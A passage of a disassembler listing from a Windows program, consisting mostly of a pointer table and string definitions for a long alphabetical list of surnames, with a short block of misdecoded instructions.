		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	al, dl
		jmp	short loc_42E6E1
; ---------------------------------------------------------------------------
		align 10h
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-53FFBD15h], bh
		jmp	short loc_42E6F1
; ---------------------------------------------------------------------------
		align 10h
		mov	al, ds:980042EBh


loc_42E6B5:				; CODE XREF: ___:0042E6C8j
		jmp	short loc_42E6F9
; ---------------------------------------------------------------------------
		align 4
		dd offset aTudge	; "Tudge"
; ---------------------------------------------------------------------------
		mov	bl, ch
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E709
; ---------------------------------------------------------------------------
		align 4
		jo	short loc_42E6B5
		inc	edx
		add	[eax-15h], ch
		inc	edx
		add	[ebx+ebp*8+42h], bl
		add	[ebx+ebp*8+42h], dl
		add	[eax-15h], cl
		inc	edx
		add	[eax-15h], al
		inc	edx
		add	[eax], bh


loc_42E6E1:				; CODE XREF: ___:0042E69Dj
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		sub	bl, ch
		inc	edx
		add	[eax], ah
		jmp	short loc_42E72D
; ---------------------------------------------------------------------------
		align 4
		sbb	bl, ch
		inc	edx
		add	[eax], dl


loc_42E6F1:				; CODE XREF: ___:0042E6ADj
		jmp	short loc_42E735
; ---------------------------------------------------------------------------
		align 4
		dd offset aWaite	; "Waite"
		db 0
; ---------------------------------------------------------------------------


loc_42E6F9:				; CODE XREF: ___:loc_42E6B5j
		jmp	short loc_42E73D
; ---------------------------------------------------------------------------
		align 4
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		db 0D8h
; ---------------------------------------------------------------------------


loc_42E709:				; CODE XREF: ___:0042E6C5j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		db 88h
; ---------------------------------------------------------------------------


loc_42E725:				; CODE XREF: ___:loc_42E6E1j
		jmp	far ptr	42h:0EA800042h
; ---------------------------------------------------------------------------
		db 74h
; ---------------------------------------------------------------------------


loc_42E72D:				; CODE XREF: ___:0042E6E9j
		jmp	far ptr	42h:0EA680042h
; ---------------------------------------------------------------------------
		pop	esp


loc_42E735:				; CODE XREF: ___:loc_42E6F1j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		db 44h
; ---------------------------------------------------------------------------


loc_42E73D:				; CODE XREF: ___:loc_42E6F9j
		jmp	far ptr	42h:0EA380042h
; ---------------------------------------------------------------------------
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E830o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E82Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E828o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E824o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E820o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E81Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E818o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E814o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E810o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E80Co
aYu		db 'Yu',0               ; DATA XREF: ___:0042E808o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E804o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E800o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E7FCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E7F8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E7F4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E7F0o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E7ECo
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042E7E8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E7E4o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E7E0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E7DCo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E7D8o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E7D4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E7D0o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7CCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7C8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7C4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7C0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7BCo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7B8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7B4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7B0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7ACo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7A8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7A4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7A0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E79Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E798o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E794o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E790o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E78Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E788o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E784o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E780o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E77Co
aViano		db 'Viano',0            ; DATA XREF: ___:0042E778o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042E774o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E770o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E76Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E768o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E764o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E760o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E75Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E758o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E754o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E750o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042E74Co
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042E748o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E744o
		align 4
aVelasquez	db 'Velasquez',0
		align 4
aWeissman	db 'Weissman',0
		align 10h
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 4
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 10h
aWaugh		db 'Waugh',0
		align 4
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042E720o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042E71Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042E718o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042E714o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042E710o
aVanallen	db 'vanAllen',0
		align 4
aWalter		db 'Walter',0
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042E704o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042E700o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042E6FCo
		align 10h
aValberg	db 'Valberg',0
aWaite		db 'Waite',0            ; DATA XREF: ___:0042E6F4o
		align 10h
aVacca		db 'Vacca',0
		align 4
aUzuner		db 'Uzuner',0
		align 10h
aUsdan		db 'Usdan',0
		align 4
aUrdangBrown	db 'Urdang-Brown',0
		align 4
aUrban		db 'Urban',0
		align 10h
aUpsdell	db 'Upsdell',0
aUntermeyer	db 'Untermeyer',0
		align 4
aUllman		db 'Ullman',0
		align 4
aTzamarias	db 'Tzamarias',0
		align 4
aTwells		db 'Twells',0
		align 10h
aTuttle		db 'Tuttle',0
		align 4
aTurek		db 'Turek',0
		align 10h
aTurano		db 'Turano',0
		align 4
aTukan		db 'Tukan',0
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042E6B8o
		align 4
aTuck		db 'Tuck',0
		align 10h
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 4
aTsiatis	db 'Tsiatis',0
aTruss		db 'Truss',0
		align 4
aTroy		db 'Troy',0
		align 10h
aTroiani	db 'Troiani',0
aTringali	db 'Tringali',0
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E694o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E690o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E68Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042E688o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E684o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E680o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E67Co
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E678o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E674o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E670o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E66Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E668o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E664o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E660o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E65Co
aTill		db 'Till',0             ; DATA XREF: ___:0042E658o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E654o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E650o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E64Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E648o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E644o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E640o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E63Co
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E638o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E634o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E630o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E62Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E628o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E624o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E620o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E61Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E618o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E614o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E610o
		align 4
